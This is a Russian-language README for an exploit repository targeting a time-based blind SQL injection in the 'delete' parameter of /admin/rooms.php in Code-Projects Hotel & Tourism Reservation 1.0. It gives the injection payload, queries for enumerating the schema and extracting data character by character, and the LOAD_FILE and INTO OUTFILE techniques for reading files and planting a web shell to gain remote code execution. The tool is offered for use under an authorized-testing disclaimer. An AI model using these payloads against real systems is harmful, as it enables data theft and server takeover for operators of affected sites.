CVE-2026-14762 – Эксплуатация SQL-инъекции в Code‑Projects Hotel & Tourism Reservation 1.0

Полнофункциональный, многопоточный эксплуатационный скрипт для слепой SQL-инъекции на основе времени для CVE‑2026‑14762.
Нацелен на конечную точку /admin/rooms.php приложения Code‑Projects Hotel & Tourism Reservation (версия 1.0).
Позволяет выполнять полное перечисление базы данных, чтение файловой системы (LOAD_FILE) и произвольную запись файлов (INTO OUTFILE / DUMPFILE) – что приводит к удаленному выполнению кода через развертывание веб-шелла.

🚀 Возможности

📦 Требования

• Python ≥ 3.11
• Пакеты Python:
  • requests
  • urllib3
  • colorama (опционально – для цветного вывода в терминале)

Установите все зависимости с помощью:

pip install requests urllib3 colorama

📖 Использование

git clone https://github.com/tc4dy/CVE-2026-14762-PoC-Exploit.git

cd CVE-2026-14762-PoC-Exploit

chmod +x exploit.py or basic_exploit.py

📖 Аргументы командной строки

⚙️ Как это работает

Конструкция полезной нагрузки

Параметр delete инжектируется следующим образом:

150' AND IF(<condition>, SLEEP(<delay>), 0) AND '1'='1

Функция IF() оценивает условие; если оно истинно, база данных засыпает на секунд.

Извлечение символов бинарным поиском

Для каждой позиции символа выполняется бинарный поиск по диапазону ASCII (32–126), который определяет правильный символ с помощью сравнений > и =. Это сокращает количество запросов с 95 на символ до ~7–8, что делает извлечение очень эффективным.

Перечисление метаданных

• Имя базы данных: SELECT DATABASE()
• Таблицы: SELECT table_name FROM information_schema.tables WHERE table_schema='<db>' LIMIT n,1
• Столбцы: SELECT column_name FROM information_schema.columns WHERE table_schema='<db>' AND table_name='<table>' LIMIT n,1

Извлечение данных

• SELECT <col> FROM <table> LIMIT row,1 – извлекает построчно
• Каждая ячейка извлекается посимвольно с использованием той же техники бинарного поиска

Взаимодействие с файловой системой

• Чтение: LOAD_FILE('/path/to/file') – требует, чтобы secure_file_priv был пустым или указывал на целевую директорию
• Запись: SELECT '<content>' INTO OUTFILE '/path/to/shell.php' – требует привилегии FILE и отсутствия ограничений в secure_file_priv

🛡️ Отказ от ответственности

Этот инструмент предназначен только для авторизованного тестирования безопасности, образовательных исследований и оценки уязвимостей.
Автор не несет ответственности за любое неправомерное использование, незаконные действия или ущерб, причиненный данным программным обеспечением.
Всегда получайте явное письменное разрешение от владельца системы перед началом тестирования.